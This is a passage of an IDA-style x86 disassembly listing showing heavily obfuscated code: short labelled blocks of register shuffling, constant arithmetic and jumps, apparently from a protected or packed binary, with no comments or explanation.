		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		sub	eax, 18B86F78h
		jmp	loc_5CFB05
; ---------------------------------------------------------------------------


loc_5D339C:				; CODE XREF: sub_5A55E5+1A3CFj
		push	ecx
		mov	cl, 65h
		and	cl, 0F4h
		jmp	loc_5D067D
; ---------------------------------------------------------------------------


loc_5D33A7:				; CODE XREF: sub_5A55E5+219CDj
		sub	ebp, 617F1779h
		add	ebp, ebx
		add	ebp, 617F1779h
		pop	ebx
		jmp	loc_5C6A58
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A4h+var_A4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	70h
		jmp	loc_5D2879
; ---------------------------------------------------------------------------


loc_5D33D2:				; CODE XREF: sub_5A55E5+1F4CAj
		add	edi, edx
		sub	edi, 10036D5Ah
		jmp	loc_5CD48F
; ---------------------------------------------------------------------------


loc_5D33DF:				; CODE XREF: sub_5A55E5+1B658j
		sub	edx, 19E21DEBh
		shr	edx, 3
		push	eax
		mov	eax, 730CAC78h
		jmp	loc_5C55F6
; ---------------------------------------------------------------------------


loc_5D33F3:				; CODE XREF: sub_5A55E5+1D43Aj
		sub	ecx, 1BB236D2h
		shl	ecx, 8
		sub	ecx, 4BA5E6B7h
		mov	ebp, ecx
		pop	ecx
		xor	edx, ebp
		jmp	loc_5D0A3C
; ---------------------------------------------------------------------------


loc_5D340C:				; CODE XREF: sub_5A55E5+1EE0Bj
		xor	[esp+6Ch+var_6C], ecx
		xor	ecx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		mov	[esp+6Ch+var_6C], ecx
		push	[esp+6Ch+var_68]
		push	[esp+70h+var_70]
		jmp	loc_5C071C
; ---------------------------------------------------------------------------


loc_5D3424:				; CODE XREF: sub_5A55E5+249C2j
		xchg	ebp, [esp+9Ah+var_9C+2]
		pop	esp
		mov	ebx, edx
		jmp	loc_5C6086
; ---------------------------------------------------------------------------


loc_5D342F:				; CODE XREF: sub_5A55E5+2AB03j
		not	ebx
		jmp	loc_5C8DA4
; ---------------------------------------------------------------------------


loc_5D3436:				; CODE XREF: sub_5A55E5+27885j
		mov	[esp+60h+var_60], edx
		sub	esp, 4
		jmp	loc_5CC201
; ---------------------------------------------------------------------------


loc_5D3441:				; CODE XREF: sub_5A55E5+1A820j
		push	esi
		jmp	loc_5C28E9
; ---------------------------------------------------------------------------


loc_5D3447:				; CODE XREF: sub_5A55E5+1E1F1j
		or	eax, 477C04A8h
		sub	eax, 116ADE3Fh
		add	ebx, eax
		pop	eax
		xor	ebx, 8D6D423Fh
		and	esi, ebx
		jmp	loc_5C0E1C
; ---------------------------------------------------------------------------


loc_5D3461:				; CODE XREF: sub_5A55E5+23395j
		xor	ecx, [esp+0ACh+var_AC]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_5C209B
; ---------------------------------------------------------------------------


loc_5D346D:				; CODE XREF: sub_5A55E5+280EBj
		pop	esp
		mov	[esp+7Ah+var_7C+2], edi
		jmp	loc_5C7625
; ---------------------------------------------------------------------------


loc_5D3476:				; CODE XREF: sub_5A55E5+1DAAAj
		mov	[esp+0AAh+var_AC+2], ecx
		push	746803A0h
		push	[esp+0AEh+var_B0+2]
		pop	ecx
		add	esp, 4
		inc	ecx
		or	ecx, 133B1D8Ah
		push	edx
		mov	edx, 1FC305A3h
		jmp	loc_5CDB75
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebp
		push	esp
		jmp	loc_5CBCB1
; ---------------------------------------------------------------------------


loc_5D34A4:				; CODE XREF: sub_5A55E5+2BC76j
		mov	ecx, [esp+0B6h+var_B8+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5C75DF
; ---------------------------------------------------------------------------


loc_5D34B5:				; CODE XREF: sub_5A55E5+23B13j
		add	esi, 4B64EA2Eh
		push	6AC3h
		mov	[esp+92h+var_94+2], edx
		mov	edx, 0
		jmp	loc_5CE40F
; ---------------------------------------------------------------------------


loc_5D34CD:				; CODE XREF: sub_5A55E5+2622Cj
		mov	cx, word ptr [esp+0B6h+var_B8+2]
		push	esi
		jmp	loc_5D1843
; ---------------------------------------------------------------------------


loc_5D34D7:				; CODE XREF: sub_5A55E5+22B18j
		xor	bl, 0AFh
		add	ch, bl
		jmp	loc_5CF0BA
; ---------------------------------------------------------------------------


loc_5D34E1:				; CODE XREF: sub_5A55E5+24319j
		mov	ecx, 0E7523DDAh
		jmp	loc_5D26EB
; ---------------------------------------------------------------------------


loc_5D34EB:				; CODE XREF: sub_5A55E5+21FBEj
		add	edx, 632C665Dh
		jmp	loc_5BFC87
; ---------------------------------------------------------------------------


loc_5D34F6:				; CODE XREF: sub_5A55E5+28E7Bj
		dec	ebp
		shl	ebp, 6
		sub	ebp, 29E36E4Eh
		add	ebp, 4425408Ch
		add	edx, ebp
		pop	ebp
		add	edx, eax
		jmp	loc_5CDE94
; ---------------------------------------------------------------------------


loc_5D3510:				; CODE XREF: sub_5A55E5+2977Dj
		xor	edx, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		jmp	loc_5C73FF
; ---------------------------------------------------------------------------


loc_5D351B:				; CODE XREF: sub_5A55E5+29184j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp+94h+var_94], edx
		push	ebp
		mov	ebp, 5C4C4A6Bh
		mov	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_5C586A
; ---------------------------------------------------------------------------


loc_5D3536:				; CODE XREF: sub_5A55E5+1A62Bj
		xor	[esp+9Ah+var_9C+2], esi
		xor	esi, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		mov	word ptr [esp+9Ah+var_9C+2], cx
		push	2E5Eh
		mov	[esp+9Eh+var_A0+2], eax
		mov	ah, 69h
		shr	ah, 6
		jmp	loc_5D2AF4
; ---------------------------------------------------------------------------


loc_5D3555:				; CODE XREF: sub_5A55E5+29149j
		xor	ebp, 0AA009A3Bh
		sub	esi, ebp
		pop	ebp
		xor	edx, esi
		push	[esp+78h+var_78]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Ch+var_7C]
		pop	esp
		dec	edx
		sub	edx, 38E22A13h
		xor	edx, 3206549Bh
		jmp	loc_5C179B
; ---------------------------------------------------------------------------


loc_5D3586:				; CODE XREF: sub_5A55E5+28E25j
		sub	edi, 0C1E4EF7h
		jmp	loc_5C32B2
; ---------------------------------------------------------------------------


loc_5D3591:				; CODE XREF: sub_5A55E5+29655j
		push	esp
		jmp	loc_5D2E39
; ---------------------------------------------------------------------------


loc_5D3597:				; CODE XREF: sub_5A55E5+2031Fj
		sub	edi, 3DCB6E62h
		pop	ebx
		sub	esp, 4
		mov	[esp+94h+var_94], edi
		push	[esp+94h+var_90]
		mov	edi, [esp+98h+var_98]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5CBD86
; ---------------------------------------------------------------------------


loc_5D35BE:				; CODE XREF: sub_5A55E5+1D48Aj
		add	ebp, 4D2CC551h
		jmp	loc_5D0899
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Ch+var_8C]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 60EF0A81h
		push	edi
		push	ebp
		mov	ebp, 590E3FE9h
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		mov	edi, [esp+98h+var_98]
		add	esp, 4
		add	eax, 1FC45D60h
		not	eax
		sub	eax, 4AAE0B9Fh
		push	ebp
		mov	ebp, 0DB904C92h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5C3065
; ---------------------------------------------------------------------------


loc_5D3605:				; CODE XREF: sub_5A55E5+22A9Fj
		add	edx, ebx
		jmp	loc_5C189E
; ---------------------------------------------------------------------------


loc_5D360C:				; CODE XREF: sub_5A55E5+21206j
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5CA31A
; ---------------------------------------------------------------------------


loc_5D361B:				; CODE XREF: sub_5A55E5+2836Dj
		pop	ebx
		jmp	loc_5D02AC
; ---------------------------------------------------------------------------


loc_5D3621:				; CODE XREF: sub_5A55E5+2A944j
		add	esp, 4
		sub	esp, 4
		mov	[esp+90h+var_90], ebp
		sub	esp, 4
		mov	[esp+94h+var_94], eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		sub	edi, 17AE5014h
		jmp	loc_5C512E
; ---------------------------------------------------------------------------


loc_5D3649:				; CODE XREF: sub_5A55E5+2AB69j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+88h+var_84]
		pop	ebx
		jmp	loc_5D2DC9
; ---------------------------------------------------------------------------


loc_5D3660:				; CODE XREF: sub_5A55E5+1C69Bj
		mov	edi, 3AE65CA5h
		jmp	loc_5C66B8
; ---------------------------------------------------------------------------


loc_5D366A:				; CODE XREF: sub_5A55E5+2A079j
		and	ecx, 4ECE17A9h
		not	ecx
		xor	ecx, 6A0B0C19h
		xor	ecx, 0B85FA6E7h
		shr	ecx, 2
		shr	ecx, 7
		shr	ecx, 6
		jmp	loc_5C181D
; ---------------------------------------------------------------------------


loc_5D368C:				; CODE XREF: sub_5A55E5+29A5Fj
		push	edx
		mov	edx, 13F96659h
		jmp	loc_5C7394
; ---------------------------------------------------------------------------


loc_5D3697:				; CODE XREF: sub_5A55E5+1D29Dj
		sub	ebp, 2AAB6C8Fh
		add	ebp, ecx
		add	ebp, 2AAB6C8Fh
		mov	ecx, [esp+72h+var_74+2]
		jmp	loc_5C46B6
; ---------------------------------------------------------------------------


loc_5D36AD:				; CODE XREF: sub_5A55E5+1FDC8j
		push	edi
		mov	edi, 32DB07A3h
		mov	ebx, 0EFF8FAC3h
		add	ebx, edi
		jmp	loc_5D025F
; ---------------------------------------------------------------------------


loc_5D36BF:				; CODE XREF: sub_5A55E5+29165j
		sub	esp, 4
		mov	[esp+0B8h+var_B8], esi
		push	4C3424F7h
		pop	esi
		jmp	loc_5C30F8
; ---------------------------------------------------------------------------


loc_5D36D3:				; CODE XREF: sub_5A55E5+2EA1Bj
		mov	esi, [esp+0B8h+var_B8]
		push	ebx
		jmp	loc_5CDEB0
; ---------------------------------------------------------------------------


loc_5D36DC:				; CODE XREF: sub_5A55E5+27758j
		xor	ecx, eax
		pop	eax
		jmp	loc_5CB144
; ---------------------------------------------------------------------------


loc_5D36E4:				; CODE XREF: sub_5A55E5+277A9j
		add	al, 1
		add	al, 2Ah
		xor	ch, al
		pop	eax
		jmp	loc_5D0E63
; ---------------------------------------------------------------------------


loc_5D36F0:				; CODE XREF: sub_5A55E5+2D65Aj
		add	al, dl
		sub	al, 15h
		jmp	loc_5C8671
; ---------------------------------------------------------------------------


loc_5D36F9:				; CODE XREF: sub_5A55E5+27D5Ej
		dec	eax
		inc	eax
		jmp	loc_5CC64F
; ---------------------------------------------------------------------------


loc_5D3700:				; CODE XREF: sub_5A55E5+1B6D9j
		push	1F535634h
		pop	esi
		add	esi, 732258F9h
		and	esi, 6DA913B4h
		push	eax
		mov	eax, 3C3B3AA3h
		xor	esi, eax
		pop	eax
		jmp	loc_5C62E7
; ---------------------------------------------------------------------------


loc_5D3720:				; CODE XREF: sub_5A55E5+1B784j
		xor	ebx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5C04CF
; ---------------------------------------------------------------------------


loc_5D372E:				; CODE XREF: sub_5A55E5+2AE43j
		pop	esp
		jmp	loc_5C336C
; ---------------------------------------------------------------------------


loc_5D3734:				; CODE XREF: sub_5A55E5+2BF26j
		sub	eax, ebx
		mov	ebx, [esp+0ACh+var_AC]
		add	esp, 4
		jmp	loc_5C5CAF
; ---------------------------------------------------------------------------


loc_5D3744:				; CODE XREF: sub_5A55E5+27AF2j
		push	edx
		mov	edx, 69B15B74h
		mov	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp+9Ch+var_9C], eax
		push	6E177CA5h
		jmp	loc_5C78F7
; ---------------------------------------------------------------------------


loc_5D375D:				; CODE XREF: sub_5A55E5+21F90j
		add	esi, 2
		push	eax
		push	esp
		pop	eax
		jmp	loc_5C63BA
; ---------------------------------------------------------------------------


loc_5D376B:				; CODE XREF: sub_5A55E5+1BE44j
		mov	ebp, 0BCEB7561h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5CB121
; ---------------------------------------------------------------------------


loc_5D3778:				; CODE XREF: sub_5A55E5+2483Dj
		mov	ecx, ebp
		jmp	loc_5D309A
; ---------------------------------------------------------------------------


loc_5D377F:				; CODE XREF: sub_5A55E5+220B5j
		push	ecx
		jmp	loc_5C7CDE
; ---------------------------------------------------------------------------


loc_5D3785:				; CODE XREF: sub_5A55E5+1BAD7j
		push	ecx
		push	5460h
		jmp	loc_5C7CC1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+98h+var_98]
		jmp	loc_5CD2EF
; ---------------------------------------------------------------------------


loc_5D3799:				; CODE XREF: sub_5A55E5+23C2Bj
		pop	edi
		push	ebp
		jmp	loc_5CD46E
; ---------------------------------------------------------------------------


loc_5D37A0:				; CODE XREF: sub_5A55E5+25756j
		sub	eax, esi
		jmp	loc_5C1805
; ---------------------------------------------------------------------------


loc_5D37A7:				; CODE XREF: sub_5A55E5+1D916j
		push	[esp+9Ah+var_98+2]
		mov	ebp, [esp+9Eh+var_A0+2]
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], eax
		jmp	loc_5CA9FF
; ---------------------------------------------------------------------------


loc_5D37B9:				; CODE XREF: sub_5A55E5+28EA5j
		pop	ebx
		dec	ebp
		sub	ebp, 0CA50BE44h
		add	edi, ebp
		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		sub	edi, ecx
		sub	edi, 35AF52BBh
		jmp	loc_5D2DD1
; ---------------------------------------------------------------------------


loc_5D37D6:				; CODE XREF: sub_5A55E5+25AC0j
		xor	edx, [esp+98h+var_98]
		xor	[esp+98h+var_98], edx
		xor	edx, [esp+98h+var_98]
		mov	esp, [esp+98h+var_98]
		mov	[esp+98h+var_98], ecx
		mov	ecx, esp
		jmp	loc_5D0131
; ---------------------------------------------------------------------------


loc_5D37EC:				; CODE XREF: sub_5A55E5+1E9D0j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D37F1:				; CODE XREF: sub_5A55E5+22A8Aj
		mov	al, 2Dh
		jmp	loc_5C86DA
; ---------------------------------------------------------------------------


loc_5D37F8:				; CODE XREF: sub_5A55E5+1EC31j
		push	ecx
		mov	ch, dl
		mov	bl, ch
		pop	ecx
		jmp	loc_5C9665
; ---------------------------------------------------------------------------


loc_5D3803:				; CODE XREF: sub_5A55E5+1DC88j
		shl	edx, 1
		jmp	loc_5CF80D
; ---------------------------------------------------------------------------


loc_5D380A:				; CODE XREF: sub_5A55E5+2C815j
		push	[esp+0A8h+var_A4]
		jmp	loc_5C0C85
; ---------------------------------------------------------------------------


loc_5D3813:				; CODE XREF: sub_5A55E5+1B111j
		sub	esp, 4
		jmp	loc_5C4B28
; ---------------------------------------------------------------------------


loc_5D381B:				; CODE XREF: sub_5A55E5+2367Ej
		pop	esi
		sub	ebp, esi
		pop	esi
		mov	ecx, ebp
		pop	ebp
		push	edx
		jmp	loc_5CB7C5
; ---------------------------------------------------------------------------


loc_5D3828:				; CODE XREF: sub_5A55E5+25EBAj
		push	[esp+92h+var_94+2]
		pop	eax
		push	568Fh
		mov	[esp+96h+var_98+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+96h+var_98+2]
		jmp	loc_5CCC82
; ---------------------------------------------------------------------------


loc_5D3847:				; CODE XREF: sub_5A55E5+1C63Aj
		add	esp, 4
		jmp	loc_5C385D
; ---------------------------------------------------------------------------


loc_5D384F:				; CODE XREF: sub_5A55E5+23CCEj
		add	esp, 4
		jmp	loc_5D2ECF
; ---------------------------------------------------------------------------


loc_5D385A:				; CODE XREF: sub_5A55E5+2AA2Bj
		sub	ecx, 36947826h
		pop	esi
		sub	ebx, 297F39E5h
		jmp	loc_5CC2D0
; ---------------------------------------------------------------------------


loc_5D386C:				; CODE XREF: sub_5A55E5+1E194j
		xchg	edx, [esp+0C0h+var_C0]
		pop	esp
		and	ebp, 19B944BEh
		xor	ebp, 41110BD7h
		xor	eax, ebp
		push	[esp+0BCh+var_BC]
		pop	ebp
		add	esp, 4
		push	24BFh
		mov	[esp+0BCh+var_BC], edx
		jmp	loc_5C1218
; ---------------------------------------------------------------------------


loc_5D3892:				; CODE XREF: sub_5A55E5+2A3E6j
		mov	ebp, edi
		mov	edi, [esp+8Eh+var_90+2]
		add	esp, 4
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		xchg	ebx, ebp
		pop	ebx
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], esi
		mov	esi, 0
		sub	esi, ebp
		jmp	loc_5CEDD4
; ---------------------------------------------------------------------------


loc_5D38B7:				; CODE XREF: sub_5A55E5+208CAj
		pop	eax
		push	edx
		push	63F2h
		mov	[esp+82h+var_84+2], esp
		add	[esp+82h+var_84+2], 4
		jmp	loc_5C04FF
; ---------------------------------------------------------------------------


loc_5D38CD:				; CODE XREF: sub_5A55E5+2615Fj
		mov	ebx, ecx
		mov	ecx, [esp+80h+var_80]
		add	esp, 4
		push	[esp+7Ch+var_7C]
		jmp	loc_5CFE57
; ---------------------------------------------------------------------------


loc_5D38DD:				; CODE XREF: sub_5A55E5+2BD0Ej
		add	esi, 4
		push	edi
		jmp	loc_5C4CCD
; ---------------------------------------------------------------------------


loc_5D38E9:				; CODE XREF: sub_5A55E5+1E593j
		mov	edx, [esp+8Ah+var_8C+2]
		jmp	loc_5D1FF4
; ---------------------------------------------------------------------------


loc_5D38F1:				; CODE XREF: sub_5A55E5+2D573j
		mov	esi, 1
		sub	edi, esi
		pop	esi
		jmp	loc_5CE377
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+86h+var_88+2]
		push	edx
		jmp	loc_5BF9D8
; ---------------------------------------------------------------------------


loc_5D3908:				; CODE XREF: sub_5A55E5+270C0j
		mov	ebx, 43A475F9h
		jmp	loc_5D0B7C
; ---------------------------------------------------------------------------


loc_5D3912:				; CODE XREF: sub_5A55E5+1C524j
		neg	ebx
		sub	ebx, 0A7148C45h
		mov	esi, 3B59202Ah
		xor	esi, ebx
		mov	ebx, [esp+0AAh+var_AC+2]
		jmp	loc_5D1366
; ---------------------------------------------------------------------------


loc_5D3929:				; CODE XREF: sub_5A55E5+29358j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	ebp
		mov	ebp, 63CB1133h
		jmp	loc_5CF806
; ---------------------------------------------------------------------------


loc_5D393E:				; CODE XREF: sub_5A55E5+26617j
		add	ebx, esi
		pop	esi
		sub	ebx, eax
		sub	ebx, 7EB51FF0h
		add	ebx, 305723ACh
		pop	eax
		jmp	loc_5C662A
; ---------------------------------------------------------------------------


loc_5D3955:				; CODE XREF: sub_5A55E5+2A6BCj
		pop	ebp
		jmp	loc_5CC484
; ---------------------------------------------------------------------------


loc_5D395B:				; CODE XREF: sub_5A55E5+1CC9Bj
		shl	ebp, 2
		add	ebp, 1
		sub	ebp, 54244C69h
		mov	ebx, ebp
		pop	ebp
		sub	edx, 2A360F90h
		add	edx, ebx
		jmp	loc_5C2079
; ---------------------------------------------------------------------------


loc_5D397A:				; CODE XREF: sub_5A55E5+2147Cj
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5C5F8E
; ---------------------------------------------------------------------------


loc_5D3986:				; CODE XREF: sub_5A55E5+1BD35j
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, 63836109h
		add	edi, eax
		sub	edi, 63836109h
		pop	eax
		add	edi, 4
		push	edi
		jmp	loc_5C206A
; ---------------------------------------------------------------------------


loc_5D39A6:				; CODE XREF: sub_5A55E5+1AA14j
		dec	ecx
		xchg	ecx, edx
		sub	edx, 8F70D82Dh
		jmp	loc_5D066F
; ---------------------------------------------------------------------------


loc_5D39B4:				; CODE XREF: sub_5A55E5+2E5EFj
		push	5A42h
		jmp	loc_5D288A
; ---------------------------------------------------------------------------


loc_5D39BE:				; CODE XREF: sub_5A55E5+2B499j
		add	[esp+9Eh+var_A0+2], 4
		push	[esp+9Eh+var_A0+2]
		pop	edi
		push	edx
		mov	edx, esp
		jmp	loc_5C332D
; ---------------------------------------------------------------------------


loc_5D39CE:				; CODE XREF: sub_5A55E5+1A53Aj
		not	eax
		xchg	eax, edi
		inc	edi
		shr	edi, 3
		push	ecx
		mov	ecx, 400A19E5h
		or	edi, ecx
		jmp	loc_5CF917
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		jmp	loc_5D0166
; ---------------------------------------------------------------------------


loc_5D39EB:				; CODE XREF: sub_5A55E5+1E36Ej
		mov	edi, esp
		add	edi, 4
		jmp	loc_5D400D
; ---------------------------------------------------------------------------


loc_5D39F8:				; CODE XREF: sub_5A55E5+264BDj
		sub	esi, 315248F7h
		inc	esi
		and	esi, 28B34EAEh
		neg	esi
		or	esi, 4E053FA5h
		xor	esi, 48FB5525h
		xor	ebx, esi
		pop	esi
		jmp	loc_5C4F23
; ---------------------------------------------------------------------------


loc_5D3A1B:				; CODE XREF: sub_5A55E5+2EA64j
		mov	ebp, [esp+7Ch+var_7C]
		jmp	loc_5C03D5
; ---------------------------------------------------------------------------


loc_5D3A23:				; CODE XREF: sub_5A55E5+1C9CAj
		pop	eax
		push	edi
		mov	edi, 1ED85A3Fh
		jmp	loc_5C9F60
; ---------------------------------------------------------------------------


loc_5D3A2F:				; CODE XREF: sub_5A55E5+291E4j
		sub	eax, 6DFF753Ch
		pop	ebp
		sub	esp, 4
		jmp	loc_5D153B
; ---------------------------------------------------------------------------


loc_5D3A40:				; CODE XREF: sub_5A55E5+204A9j
		and	ebp, 1F6077E0h
		shr	ebp, 3
		jmp	loc_5CC9AB
; ---------------------------------------------------------------------------


loc_5D3A4E:				; CODE XREF: sub_5A55E5+2D101j
		neg	esi
		shr	esi, 1
		and	esi, 6C390CFCh
		sub	esi, 0CA8A6FAh
		add	ebp, esi
		pop	esi
		xor	ebp, 0B55475E3h
		sub	ecx, ebp
		jmp	loc_5CBE11
; ---------------------------------------------------------------------------


loc_5D3A6E:				; CODE XREF: sub_5A55E5+25235j
		add	esp, 4
		add	edi, 4
		jmp	loc_5D075E
; ---------------------------------------------------------------------------


loc_5D3A7C:				; CODE XREF: sub_5A55E5+1AD6Fj
		push	39B52F0Fh
		mov	edx, [esp+0A4h+var_A4]
		jmp	loc_5C696B
; ---------------------------------------------------------------------------


loc_5D3A89:				; CODE XREF: sub_5A55E5+2779Bj
		push	4C7h
		mov	[esp+48h+var_4A+2], esp
		jmp	loc_5CA2F0
; ---------------------------------------------------------------------------


loc_5D3A96:				; CODE XREF: sub_5A55E5+2272Cj
		xor	edx, [esp+94h+var_94]
		pop	esp
		mov	dh, ch
		pop	ecx
		xor	al, dh
		pop	edx
		push	ebp
		jmp	loc_5C774F
; ---------------------------------------------------------------------------


loc_5D3AA6:				; CODE XREF: sub_5A55E5+1B331j
		mov	[esp+88h+var_88], edi
		mov	edi, 200000h
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_5CC6E4
		push	dword ptr [edi+28h]
		jmp	loc_5CF7DB
; ---------------------------------------------------------------------------


loc_5D3AC1:				; CODE XREF: sub_5A55E5+2E5D7j
		push	edx
		mov	edx, 6925378Dh
		push	ecx
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		jmp	loc_5CB615
; ---------------------------------------------------------------------------


loc_5D3AD2:				; CODE XREF: sub_5A55E5+2C161j
		push	edx
		mov	edx, 2FFA751Dh
		mov	edi, 6EAF33Ah
		push	ebp
		jmp	loc_5C3D63
; ---------------------------------------------------------------------------


loc_5D3AE3:				; CODE XREF: sub_5A55E5+1B083j
		pop	ebp
		jmp	loc_5D1928
; ---------------------------------------------------------------------------


loc_5D3AE9:				; CODE XREF: sub_5A55E5+218C9j
		sub	ebx, 4
		xchg	ebx, [esp+0A2h+var_A4+2]
		pop	esp
		mov	[esp+9Eh+var_A0+2], ebp
		push	[esp+9Eh+var_9C+2]
		jmp	loc_5C3305
; ---------------------------------------------------------------------------


loc_5D3AFF:				; CODE XREF: sub_5A55E5+29899j
		mov	[esp+54h+var_54], ecx
		mov	ecx, 69C86753h
		add	ecx, 34257E5Ah
		sub	ecx, 8E8E494Ch
		xor	eax, ecx
		mov	ecx, [esp+54h+var_54]
		push	eax
		jmp	loc_5D0DCF
; ---------------------------------------------------------------------------


loc_5D3B1E:				; CODE XREF: sub_5A55E5+1CECAj
		add	esp, 4
		mov	ebp, [esp+0B6h+var_B8+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5CF6E9
; ---------------------------------------------------------------------------


loc_5D3B34:				; CODE XREF: sub_5A55E5+1DE9Fj
		sub	ebp, 41FF0C87h
		jmp	loc_5C4479
; ---------------------------------------------------------------------------


loc_5D3B3F:				; CODE XREF: sub_5A55E5+2DC51j
		mov	[esp+52h+var_54+2], ebp
		push	edx
		jmp	loc_5CC328
; ---------------------------------------------------------------------------


loc_5D3B48:				; CODE XREF: sub_5A55E5+29390j
		pop	ecx
		push	ecx
		push	edx
		jmp	loc_5C96B6
; ---------------------------------------------------------------------------


loc_5D3B50:				; CODE XREF: sub_5A55E5+2528Fj
		mov	ecx, [esp+0B8h+var_B8]
		jmp	loc_5C16E3
; ---------------------------------------------------------------------------


loc_5D3B58:				; CODE XREF: sub_5A55E5+23199j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5C8091
; ---------------------------------------------------------------------------


loc_5D3B60:				; CODE XREF: sub_5A55E5+1CD89j
		add	esp, 4
		mov	edi, ecx
		mov	ecx, [esp+6Ah+var_6C+2]
		add	esp, 4
		jmp	loc_5CCAE3
; ---------------------------------------------------------------------------


loc_5D3B73:				; CODE XREF: sub_5A55E5+1D7CAj
		mov	esi, 43D52D16h
		and	esi, 5DE63902h
		shr	esi, 1
		dec	esi
		push	ecx
		mov	ecx, 1CD2184Eh
		neg	ecx
		jmp	loc_5C0600
; ---------------------------------------------------------------------------


loc_5D3B8E:				; CODE XREF: sub_5A55E5+23714j
		or	eax, 71BE3970h
		jmp	loc_5C443E
; ---------------------------------------------------------------------------
		push	[esp+0B0h+var_B0]
		pop	eax
		push	eax
		mov	eax, esp
		push	5F0Eh
		mov	[esp+0B8h+var_B8], esi
		mov	esi, 738D7861h
		sub	esi, 625B1965h
		xor	esi, 11325EF8h
		add	eax, esi
		pop	esi
		push	edi
		jmp	loc_5D3AC1
; ---------------------------------------------------------------------------


loc_5D3BC1:				; CODE XREF: sub_5A55E5+21F71j
		pop	eax
		or	ecx, ecx
		jz	loc_5CA7E3
		push	2FF1h
		mov	[esp+9Ah+var_9C+2], ebx
		push	esp
		pop	ebx
		jmp	loc_5D39B4
; ---------------------------------------------------------------------------


loc_5D3BD9:				; CODE XREF: sub_5A55E5+2CF0Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		mov	[esp+0A8h+var_A8], esi
		push	1C4FDEC9h
		mov	esi, [esp+0ACh+var_AC]
		sub	esp, 4
		mov	[esp+0B0h+var_B0], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+0B0h+var_B0]
		pop	esp
		xor	eax, esi
		mov	esi, [esp+0ACh+var_AC]
		jmp	loc_5C5159
; ---------------------------------------------------------------------------


loc_5D3C1A:				; CODE XREF: sub_5A55E5+1A56Ej
		pop	ecx
		sub	edx, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+76h+var_78+2]
		pop	esp
		mov	[esp+72h+var_74+2], edx
		push	[esp+72h+var_70+2]
		mov	edx, [esp+76h+var_78+2]
		add	esp, 4
		pop	[esp+72h+var_74+2]
		jmp	loc_5C3243
; ---------------------------------------------------------------------------


loc_5D3C46:				; CODE XREF: sub_5A55E5+229E8j
		mov	edx, 4
		sub	eax, edx
		pop	edx
		xchg	eax, [esp+7Ch+var_7C]
		mov	esp, [esp+7Ch+var_7C]
		mov	[esp+7Ch+var_7C], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 60FD134Bh
		shl	eax, 7
		add	eax, 45EC4323h
		add	eax, 6F5E206Bh
		sub	eax, 33D4090Ah
		add	ebx, eax
		pop	eax
		push	eax
		push	2
		pop	eax
		push	esi
		jmp	loc_5CBE5F
; ---------------------------------------------------------------------------


loc_5D3C81:				; CODE XREF: sub_5A55E5+2C61Cj
		pop	edi
		push	230h
		mov	[esp+9Ah+var_9C+2], edx
		push	edi
		push	7D1D47F8h
		pop	edi
		xor	edi, 329773CEh
		mov	edx, edi
		pop	edi
		xor	edx, 469B79E8h
		jmp	loc_5C6865
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Ah+var_9C+2]
		push	4B23h
		jmp	loc_5CB0AA
; ---------------------------------------------------------------------------


loc_5D3CB3:				; CODE XREF: sub_5A55E5+1A413j
		mov	ebp, 29B77177h
		sub	ebp, eax
		pop	eax
		add	[esp+54h+var_50], ebp
		jmp	loc_5C5E29
; ---------------------------------------------------------------------------


loc_5D3CC4:				; CODE XREF: sub_5A55E5+22D18j
		mov	edx, ecx
		mov	ecx, [esp+0A8h+var_A8]
		jmp	loc_5C6ADA
; ---------------------------------------------------------------------------


loc_5D3CCE:				; CODE XREF: sub_5A55E5+27270j
		pop	esi
		sub	ebp, 4DF850D4h
		sub	ebp, 6E396531h
